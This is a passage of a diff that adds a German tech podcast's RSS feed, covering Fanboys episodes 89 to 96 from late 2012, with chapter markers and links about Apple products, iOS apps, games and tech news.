+ <sc:chapter start="00:54:54" title="Bastion für iPhone" href="https://itunes.apple.com/us/app/bastion/id537773100?mt=8" />
+ <sc:chapter start="00:56:56" title="Bean" href="http://countonbean.com" />
+ <sc:chapter start="00:59:08" title="Auphonic" href="http://auphonic.com/blog/2012/11/19/auphonic-mobile-app-ios/" />
+ <sc:chapter start="01:01:50" title="MVV Companion" href="http://www.mvv-muenchen.de/de/fahrplanauskunft/mobile-dienste/efa-app-mvv-companion/index.html" />
+ <sc:chapter start="01:03:41" title="Fish" href="https://itunes.apple.com/us/app/fish-a-tap-essay/id510560804?mt=8" />
+ <sc:chapter start="01:06:06" title="Rausschmeisser" href="http://www.youtube.com/watch?v=85ejIV7k_SM" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2396&amp;user_id=map&amp;title=Fanboys%20Episode%2096&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#96:" />
+ </item>
+ <item>
+ <title>Episode #95 - Geforstallt</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Geforstallt</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN095.mp3" length="26497611" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN095</guid>
+ <pubDate>Fri, 16 Nov 2012 00:12:19 +0100</pubDate>
+ <itunes:duration>00:55:03</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:13 und Martin
+00:01:07 Windows Chef geforstallt
+00:06:31 Apple Blue Sky
+00:09:43 Ein Jahr iTunes Match
+00:17:47 Programmatische Grafikerzeugung
+00:23:09 Hot Cocoa
+00:27:26 NodeBox
+00:31:31 Schoenes aus Code
+00:33:03 Processing.js
+00:34:11 PhantomJS
+00:37:54 NextDraft
+00:39:44 Unfinished Swan
+00:46:11 ZooKeeper DX
+00:48:22 ZooKeeper Battle
+00:54:11 Rausschmeisser - Desert Bus - ab Samstag
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:07</td><td><a href="http://arstechnica.com/information-technology/2012/11/why-steven-sinofsky-is-out-at-microsoft/" target="_blank">Windows Chef geforstallt</td></tr><tr><td>00:06:31</td><td><a href="http://thenextweb.com/apple/2012/11/12/apple-fires-up-its-version-of-googles-20-time-giving-some-employees-2-weeks-for-special-projects/" target="_blank">Apple Blue Sky</td></tr><tr><td>00:09:43</td><td><a href="http://www.macworld.com/article/2013668/itunes-match-one-year-in.html" target="_blank">Ein Jahr iTunes Match</td></tr><tr><td>00:17:47</td><td>Programmatische Grafikerzeugung</td></tr><tr><td>00:23:09</td><td><a href="http://hcg.drtoast.com" target="_blank">Hot Cocoa</td></tr><tr><td>00:27:26</td><td><a href="http://nodebox.net" target="_blank">NodeBox</td></tr><tr><td>00:31:31</td><td><a href="http://vimeo.com/20594197" target="_blank">Schoenes aus Code</td></tr><tr><td>00:33:03</td><td><a href="http://processingjs.org" target="_blank">Processing.js</td></tr><tr><td>00:34:11</td><td><a href="http://phantomjs.org" target="_blank">PhantomJS</td></tr><tr><td>00:37:54</td><td><a href="https://itunes.apple.com/us/app/nextdraft-days-most-fascinating/id549358690?mt=8" target="_blank">NextDraft</td></tr><tr><td>00:39:44</td><td><a href="http://giantsparrow.com/games/swan/" target="_blank">Unfinished Swan</td></tr><tr><td>00:46:11</td><td><a href="https://itunes.apple.com/de/app/zookeeper-dx/id433596395?mt=8" target="_blank">ZooKeeper DX</td></tr><tr><td>00:48:22</td><td><a href="https://itunes.apple.com/de/app/zookeeper-battle/id548270497?mt=8" target="_blank">ZooKeeper Battle</td></tr><tr><td>00:54:11</td><td><a href="http://desertbus.org" target="_blank">Rausschmeisser - Desert Bus - ab Samstag</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:13" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:07" title="Windows Chef geforstallt" href="http://arstechnica.com/information-technology/2012/11/why-steven-sinofsky-is-out-at-microsoft/" />
+ <sc:chapter start="00:06:31" title="Apple Blue Sky" href="http://thenextweb.com/apple/2012/11/12/apple-fires-up-its-version-of-googles-20-time-giving-some-employees-2-weeks-for-special-projects/" />
+ <sc:chapter start="00:09:43" title="Ein Jahr iTunes Match" href="http://www.macworld.com/article/2013668/itunes-match-one-year-in.html" />
+ <sc:chapter start="00:17:47" title="Programmatische Grafikerzeugung" />
+ <sc:chapter start="00:23:09" title="Hot Cocoa" href="http://hcg.drtoast.com" />
+ <sc:chapter start="00:27:26" title="NodeBox" href="http://nodebox.net" />
+ <sc:chapter start="00:31:31" title="Schoenes aus Code" href="http://vimeo.com/20594197" />
+ <sc:chapter start="00:33:03" title="Processing.js" href="http://processingjs.org" />
+ <sc:chapter start="00:34:11" title="PhantomJS" href="http://phantomjs.org" />
+ <sc:chapter start="00:37:54" title="NextDraft" href="https://itunes.apple.com/us/app/nextdraft-days-most-fascinating/id549358690?mt=8" />
+ <sc:chapter start="00:39:44" title="Unfinished Swan" href="http://giantsparrow.com/games/swan/" />
+ <sc:chapter start="00:46:11" title="ZooKeeper DX" href="https://itunes.apple.com/de/app/zookeeper-dx/id433596395?mt=8" />
+ <sc:chapter start="00:48:22" title="ZooKeeper Battle" href="https://itunes.apple.com/de/app/zookeeper-battle/id548270497?mt=8" />
+ <sc:chapter start="00:54:11" title="Rausschmeisser - Desert Bus - ab Samstag" href="http://desertbus.org" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2395&amp;user_id=map&amp;title=Fanboys%20Episode%2095&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#95:" />
+ </item>
+ <item>
+ <title>Episode #94 - Lösungswort Backaroma</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Lösungswort Backaroma</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN094.mp3" length="48763760" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN094</guid>
+ <pubDate>Thu, 08 Nov 2012 21:24:00 +0100</pubDate>
+ <itunes:duration>01:41:27</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:10 Mit dem Dominik
+00:00:12 dem Marcel
+00:00:19 und dem map
+00:03:24 Emoji-Apps fliegen aus dem Store
+00:09:48 iOS 6.0.1
+00:13:29 Apple, Samsung und UK
+00:18:28 iPod Nano Eindrücke
+00:20:27 iPad Mini Eindrücke
+00:45:04 iOS Urlaubstipps
+00:50:29 Game Center Spam und Hass
+00:59:17 iPad Mini und Siri
+01:02:47 Podcasts App und Chapters
+01:10:58 iPad Mini Apps vorab kaufen
+01:14:24 Hex Fiend
+01:17:57 The unfinished swan
+01:21:50 Curiosity
+01:28:57 My Little Pony - Freundschaft ist Magie
+01:31:24 The Magazine
+01:35:45 Fog of World
+01:38:39 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit dem Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/zeitweise" target="_blank">dem Marcel</td></tr><tr><td>00:00:19</td><td><a href="http://twitter.com/map" target="_blank">und dem map</td></tr><tr><td>00:03:24</td><td><a href="http://techcrunch.com/2012/11/02/emoji-apps-are-getting-kicked-out-of-the-apple-app-store/" target="_blank">Emoji-Apps fliegen aus dem Store</td></tr><tr><td>00:09:48</td><td><a href="http://www.iphoneblog.de/2012/11/01/bugfix-release-ios-6-0-1-wird-verteilt/" target="_blank">iOS 6.0.1</td></tr><tr><td>00:13:29</td><td><a href="http://news.cnet.com/8301-13579_3-57546830-37/apple-quietly-pulls-apology-hiding-code-from-u.k-site/" target="_blank">Apple, Samsung und UK</td></tr><tr><td>00:18:28</td><td>iPod Nano Eindrücke</td></tr><tr><td>00:20:27</td><td>iPad Mini Eindrücke</td></tr><tr><td>00:45:04</td><td>iOS Urlaubstipps</td></tr><tr><td>00:50:29</td><td>Game Center Spam und Hass</td></tr><tr><td>00:59:17</td><td>iPad Mini und Siri</td></tr><tr><td>01:02:47</td><td>Podcasts App und Chapters</td></tr><tr><td>01:10:58</td><td>iPad Mini Apps vorab kaufen</td></tr><tr><td>01:14:24</td><td><a href="http://ridiculousfish.com/hexfiend/" target="_blank">Hex Fiend</td></tr><tr><td>01:17:57</td><td><a href="http://giantsparrow.com/games/swan/" target="_blank">The unfinished swan</td></tr><tr><td>01:21:50</td><td><a href="https://itunes.apple.com/us/app/curiosity-whats-inside-cube/id557549271?mt=8" target="_blank">Curiosity</td></tr><tr><td>01:28:57</td><td><a href="https://itunes.apple.com/de/app/my-little-pony-freundschaft/id533173905?mt=8" target="_blank">My Little Pony - Freundschaft ist Magie</td></tr><tr><td>01:31:24</td><td><a href="https://itunes.apple.com/us/app/magazine-for-geeks-like-us./id557744510?mt=8" target="_blank">The Magazine</td></tr><tr><td>01:35:45</td><td><a href="https://itunes.apple.com/us/app/fog-of-world/id505367096?mt=8" target="_blank">Fog of World</td></tr><tr><td>01:38:39</td><td><a href="http://www.youtube.com/watch?v=WkkhcwXpYy4" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:10" title="Mit dem Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="dem Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:19" title="und dem map" href="http://twitter.com/map" />
+ <sc:chapter start="00:03:24" title="Emoji-Apps fliegen aus dem Store" href="http://techcrunch.com/2012/11/02/emoji-apps-are-getting-kicked-out-of-the-apple-app-store/" />
+ <sc:chapter start="00:09:48" title="iOS 6.0.1" href="http://www.iphoneblog.de/2012/11/01/bugfix-release-ios-6-0-1-wird-verteilt/" />
+ <sc:chapter start="00:13:29" title="Apple, Samsung und UK" href="http://news.cnet.com/8301-13579_3-57546830-37/apple-quietly-pulls-apology-hiding-code-from-u.k-site/" />
+ <sc:chapter start="00:18:28" title="iPod Nano Eindrücke" />
+ <sc:chapter start="00:20:27" title="iPad Mini Eindrücke" />
+ <sc:chapter start="00:45:04" title="iOS Urlaubstipps" />
+ <sc:chapter start="00:50:29" title="Game Center Spam und Hass" />
+ <sc:chapter start="00:59:17" title="iPad Mini und Siri" />
+ <sc:chapter start="01:02:47" title="Podcasts App und Chapters" />
+ <sc:chapter start="01:10:58" title="iPad Mini Apps vorab kaufen" />
+ <sc:chapter start="01:14:24" title="Hex Fiend" href="http://ridiculousfish.com/hexfiend/" />
+ <sc:chapter start="01:17:57" title="The unfinished swan" href="http://giantsparrow.com/games/swan/" />
+ <sc:chapter start="01:21:50" title="Curiosity" href="https://itunes.apple.com/us/app/curiosity-whats-inside-cube/id557549271?mt=8" />
+ <sc:chapter start="01:28:57" title="My Little Pony - Freundschaft ist Magie" href="https://itunes.apple.com/de/app/my-little-pony-freundschaft/id533173905?mt=8" />
+ <sc:chapter start="01:31:24" title="The Magazine" href="https://itunes.apple.com/us/app/magazine-for-geeks-like-us./id557744510?mt=8" />
+ <sc:chapter start="01:35:45" title="Fog of World" href="https://itunes.apple.com/us/app/fog-of-world/id505367096?mt=8" />
+ <sc:chapter start="01:38:39" title="Rausschmeisser" href="http://www.youtube.com/watch?v=WkkhcwXpYy4" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2394&amp;user_id=map&amp;title=Fanboys%20Episode%2094&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#94:" />
+ </item>
+ <item>
+ <title>Episode #93 - Wieviel ist das in Milchtüten?</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Wieviel ist das in Milchtüten?</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN093.mp3" length="38436406" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN093</guid>
+ <pubDate>Thu, 01 Nov 2012 14:56:49 +0100</pubDate>
+ <itunes:duration>01:19:56</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:12 und Martin
+00:02:21 Liefertermine
+00:05:23 iPad Mini Tests
+00:08:25 Fire gegen iPad
+00:10:55 MacBook Pro 13 Zoll
+00:17:51 Apple Reorg
+00:45:52 Preisveränderungen im AppStore
+00:58:05 Square Enix und die Preise
+01:00:55 #refugeecamp
+01:06:34 Google Search mit Spracherkennung
+01:11:18 Letterpress
+01:17:03 Lost Cities mit VoiceOver
+01:19:06 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:02:21</td><td>Liefertermine</td></tr><tr><td>00:05:23</td><td>iPad Mini Tests</td></tr><tr><td>00:08:25</td><td><a href="http://www.amazon.com/gp/feature.html?ie=UTF8&amp;docId=1000719771" target="_blank">Fire gegen iPad</td></tr><tr><td>00:10:55</td><td>MacBook Pro 13 Zoll</td></tr><tr><td>00:17:51</td><td><a href="http://www.apple.com/pr/library/2012/10/29Apple-Announces-Changes-to-Increase-Collaboration-Across-Hardware-Software-Services.html" target="_blank">Apple Reorg</td></tr><tr><td>00:45:52</td><td>Preisveränderungen im AppStore</td></tr><tr><td>00:58:05</td><td><a href="http://www.tuaw.com/2012/10/26/square-enix-considers-dropping-ios-prices/" target="_blank">Square Enix und die Preise</td></tr><tr><td>01:00:55</td><td><a href="http://www.klirrr.de/?p=149#more-149" target="_blank">#refugeecamp</td></tr><tr><td>01:06:34</td><td><a href="https://itunes.apple.com/us/app/google-search/id284815942?mt=8" target="_blank">Google Search mit Spracherkennung</td></tr><tr><td>01:11:18</td><td><a href="https://itunes.apple.com/us/app/letterpress-word-game/id526619424?mt=8" target="_blank">Letterpress</td></tr><tr><td>01:17:03</td><td><a href="http://lostcitiesapp.de" target="_blank">Lost Cities mit VoiceOver</td></tr><tr><td>01:19:06</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:02:21" title="Liefertermine" />
+ <sc:chapter start="00:05:23" title="iPad Mini Tests" />
+ <sc:chapter start="00:08:25" title="Fire gegen iPad" href="http://www.amazon.com/gp/feature.html?ie=UTF8&amp;docId=1000719771" />
+ <sc:chapter start="00:10:55" title="MacBook Pro 13 Zoll" />
+ <sc:chapter start="00:17:51" title="Apple Reorg" href="http://www.apple.com/pr/library/2012/10/29Apple-Announces-Changes-to-Increase-Collaboration-Across-Hardware-Software-Services.html" />
+ <sc:chapter start="00:45:52" title="Preisveränderungen im AppStore" />
+ <sc:chapter start="00:58:05" title="Square Enix und die Preise" href="http://www.tuaw.com/2012/10/26/square-enix-considers-dropping-ios-prices/" />
+ <sc:chapter start="01:00:55" title="#refugeecamp" href="http://www.klirrr.de/?p=149#more-149" />
+ <sc:chapter start="01:06:34" title="Google Search mit Spracherkennung" href="https://itunes.apple.com/us/app/google-search/id284815942?mt=8" />
+ <sc:chapter start="01:11:18" title="Letterpress" href="https://itunes.apple.com/us/app/letterpress-word-game/id526619424?mt=8" />
+ <sc:chapter start="01:17:03" title="Lost Cities mit VoiceOver" href="http://lostcitiesapp.de" />
+ <sc:chapter start="01:19:06" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2393&amp;user_id=map&amp;title=Fanboys%20Episode%2093&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#93:" />
+ </item>
+ <item>
+ <title>Episode #92 - Enterprise sold separately</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Enterprise sold separately</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN092.mp3" length="32844530" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN092</guid>
+ <pubDate>Wed, 24 Oct 2012 19:02:27 +0200</pubDate>
+ <itunes:duration>01:08:17</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:12 und Martin
+00:00:50 iTunes Match Bug
+00:02:47 Apple Event
+00:07:55 Zahlengewirr
+00:12:28 iBooks
+00:15:29 MacBook 13 Retina
+00:19:35 Mac Mini
+00:20:54 Fusion Drive
+00:25:48 iMac
+00:33:01 iPad 4th Gen
+00:38:26 iPad mini
+00:57:46 Zynga nutzt den Apple Event
+01:03:19 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:50</td><td>iTunes Match Bug</td></tr><tr><td>00:02:47</td><td><a href="http://www.apple.com/apple-events/october-2012/" target="_blank">Apple Event</td></tr><tr><td>00:07:55</td><td>Zahlengewirr</td></tr><tr><td>00:12:28</td><td>iBooks</td></tr><tr><td>00:15:29</td><td>MacBook 13 Retina</td></tr><tr><td>00:19:35</td><td>Mac Mini</td></tr><tr><td>00:20:54</td><td><a href="http://www.anandtech.com/show/6406/understanding-apples-fusion-drive" target="_blank">Fusion Drive</td></tr><tr><td>00:25:48</td><td>iMac</td></tr><tr><td>00:33:01</td><td>iPad 4th Gen</td></tr><tr><td>00:38:26</td><td>iPad mini</td></tr><tr><td>00:57:46</td><td><a href="http://bottomline.nbcnews.com/_news/2012/10/24/14666666-zynga-lays-off-5-of-its-work-force-ending-13-games?lite" target="_blank">Zynga nutzt den Apple Event</td></tr><tr><td>01:03:19</td><td><a href="https://www.youtube.com/watch?v=X6oUz1v17Uo" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:50" title="iTunes Match Bug" />
+ <sc:chapter start="00:02:47" title="Apple Event" href="http://www.apple.com/apple-events/october-2012/" />
+ <sc:chapter start="00:07:55" title="Zahlengewirr" />
+ <sc:chapter start="00:12:28" title="iBooks" />
+ <sc:chapter start="00:15:29" title="MacBook 13 Retina" />
+ <sc:chapter start="00:19:35" title="Mac Mini" />
+ <sc:chapter start="00:20:54" title="Fusion Drive" href="http://www.anandtech.com/show/6406/understanding-apples-fusion-drive" />
+ <sc:chapter start="00:25:48" title="iMac" />
+ <sc:chapter start="00:33:01" title="iPad 4th Gen" />
+ <sc:chapter start="00:38:26" title="iPad mini" />
+ <sc:chapter start="00:57:46" title="Zynga nutzt den Apple Event" href="http://bottomline.nbcnews.com/_news/2012/10/24/14666666-zynga-lays-off-5-of-its-work-force-ending-13-games?lite" />
+ <sc:chapter start="01:03:19" title="Rausschmeisser" href="https://www.youtube.com/watch?v=X6oUz1v17Uo" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2392&amp;user_id=map&amp;title=Fanboys%20Episode%2092&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#92:" />
+ </item>
+ <item>
+ <title>Episode #91 - Enteenteenteente</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Enteenteenteente</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN091.mp3" length="28391175" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN091</guid>
+ <pubDate>Sat, 20 Oct 2012 11:13:28 +0200</pubDate>
+ <itunes:duration>00:59:00</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:13 und Martin
+00:01:43 FTL
+00:03:31 Tweetbot for Mac
+00:14:28 He have got a little more to show you
+00:26:55 iPods Touchs
+00:33:49 gog.com jetzt auch für OS X
+00:40:42 XCOM: Enemy Unknown
+00:46:00 Don't look back
+00:56:38 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://alpha.app.net/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:13</td><td><a href="http://alpha.app.net/map" target="_blank">und Martin</td></tr><tr><td>00:01:43</td><td><a href="http://monoxyd.de/20120921-angespielt-041-faster-than-light" target="_blank">FTL</td></tr><tr><td>00:03:31</td><td><a href="http://tapbots.com/software/tweetbot/mac/" target="_blank">Tweetbot for Mac</td></tr><tr><td>00:14:28</td><td>He have got a little more to show you</td></tr><tr><td>00:26:55</td><td>iPods Touchs</td></tr><tr><td>00:33:49</td><td><a href="http://gog.com" target="_blank">gog.com jetzt auch für OS X</td></tr><tr><td>00:40:42</td><td><a href="http://xcom.com" target="_blank">XCOM: Enemy Unknown</td></tr><tr><td>00:46:00</td><td><a href="https://itunes.apple.com/us/app/dont-look-back/id568668228?mt=8" target="_blank">Don't look back</td></tr><tr><td>00:56:38</td><td><a href="http://www.youtube.com/watch?v=DSbxBQhzk3M" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://alpha.app.net/monkeydom" />
+ <sc:chapter start="00:00:13" title="und Martin" href="http://alpha.app.net/map" />
+ <sc:chapter start="00:01:43" title="FTL" href="http://monoxyd.de/20120921-angespielt-041-faster-than-light" />
+ <sc:chapter start="00:03:31" title="Tweetbot for Mac" href="http://tapbots.com/software/tweetbot/mac/" />
+ <sc:chapter start="00:14:28" title="He have got a little more to show you" />
+ <sc:chapter start="00:26:55" title="iPods Touchs" />
+ <sc:chapter start="00:33:49" title="gog.com jetzt auch für OS X" href="http://gog.com" />
+ <sc:chapter start="00:40:42" title="XCOM: Enemy Unknown" href="http://xcom.com" />
+ <sc:chapter start="00:46:00" title="Don't look back" href="https://itunes.apple.com/us/app/dont-look-back/id568668228?mt=8" />
+ <sc:chapter start="00:56:38" title="Rausschmeisser" href="http://www.youtube.com/watch?v=DSbxBQhzk3M" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2391&amp;user_id=map&amp;title=Fanboys%20Episode%2091&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#91:" />
+ </item>
+ <item>
+ <title>Episode #90 - Verkrümmungsstabilisierung</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Verkrümmungsstabilisierung</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN090.mp3" length="24396948" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN090</guid>
+ <pubDate>Thu, 11 Oct 2012 22:02:06 +0200</pubDate>
+ <itunes:duration>00:50:41</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Marcel
+00:00:12 und Dominik
+00:01:01 open mind Videos
+00:01:46 Super Hexagon Challenges
+00:07:53 Adobe Premiere Rant
+00:11:17 App.Net
+00:14:05 Minecraft für iOS
+00:15:39 iPod touches werden ausgeliefert
+00:16:40 iPod Headsets ohne Mikro
+00:31:19 LSR-Petition gescheitert
+00:35:48 FTL - Faster Than Light
+00:41:02 Badland
+00:42:27 Crazy Taxi
+00:45:05 Marcel auf der Buchmesse
+00:49:11 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/zeitweise" target="_blank">Mit Marcel</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/monkeydom" target="_blank">und Dominik</td></tr><tr><td>00:01:01</td><td><a href="http://www.youtube.com/watch?v=OI1ACh5pry4" target="_blank">open mind Videos</td></tr><tr><td>00:01:46</td><td><a href="http://superhexagon.com" target="_blank">Super Hexagon Challenges</td></tr><tr><td>00:07:53</td><td>Adobe Premiere Rant</td></tr><tr><td>00:11:17</td><td>App.Net</td></tr><tr><td>00:14:05</td><td>Minecraft für iOS</td></tr><tr><td>00:15:39</td><td>iPod touches werden ausgeliefert</td></tr><tr><td>00:16:40</td><td>iPod Headsets ohne Mikro</td></tr><tr><td>00:31:19</td><td><a href="http://www.taz.de/!103360/" target="_blank">LSR-Petition gescheitert</td></tr><tr><td>00:35:48</td><td><a href="http://www.ftlgame.com" target="_blank">FTL - Faster Than Light</td></tr><tr><td>00:41:02</td><td><a href="http://www.badlandgame.com" target="_blank">Badland</td></tr><tr><td>00:42:27</td><td><a href="http://www.iphoneblog.de/2012/10/11/sega-rollt-crazy-taxi-aus-der-garage-video/" target="_blank">Crazy Taxi</td></tr><tr><td>00:45:05</td><td>Marcel auf der Buchmesse</td></tr><tr><td>00:49:11</td><td><a href="http://www.youtube.com/watch?v=kUmrddqU4N4" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:12" title="und Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:01:01" title="open mind Videos" href="http://www.youtube.com/watch?v=OI1ACh5pry4" />
+ <sc:chapter start="00:01:46" title="Super Hexagon Challenges" href="http://superhexagon.com" />
+ <sc:chapter start="00:07:53" title="Adobe Premiere Rant" />
+ <sc:chapter start="00:11:17" title="App.Net" />
+ <sc:chapter start="00:14:05" title="Minecraft für iOS" />
+ <sc:chapter start="00:15:39" title="iPod touches werden ausgeliefert" />
+ <sc:chapter start="00:16:40" title="iPod Headsets ohne Mikro" />
+ <sc:chapter start="00:31:19" title="LSR-Petition gescheitert" href="http://www.taz.de/!103360/" />
+ <sc:chapter start="00:35:48" title="FTL - Faster Than Light" href="http://www.ftlgame.com" />
+ <sc:chapter start="00:41:02" title="Badland" href="http://www.badlandgame.com" />
+ <sc:chapter start="00:42:27" title="Crazy Taxi" href="http://www.iphoneblog.de/2012/10/11/sega-rollt-crazy-taxi-aus-der-garage-video/" />
+ <sc:chapter start="00:45:05" title="Marcel auf der Buchmesse" />
+ <sc:chapter start="00:49:11" title="Rausschmeisser" href="http://www.youtube.com/watch?v=kUmrddqU4N4" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2390&amp;user_id=map&amp;title=Fanboys%20Episode%2090&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#90:" />
+ </item>
+ <item>
+ <title>Episode #89 - Dumm und Kindleig</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Dumm und Kindleig</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN089.mp3" length="33764668" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN089</guid>
+ <pubDate>Sat, 06 Oct 2012 00:49:42 +0200</pubDate>
+ <itunes:duration>01:10:12</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:10 Mit Dominik
+00:00:13 Marcel
+00:00:16 und Martin
+00:02:21 Steve Trirbute Video
+00:03:08 Steve Jobs International Design Conference Video
+00:04:34 TUAW, Apple und der ARM
+00:06:18 Sophie Wilson
+00:06:26 Micromen
+00:09:45 Ada Lovelace Day
+00:10:30 mapgate
+00:15:31 Ortelius
+00:16:55 Zahlen im Apple Store
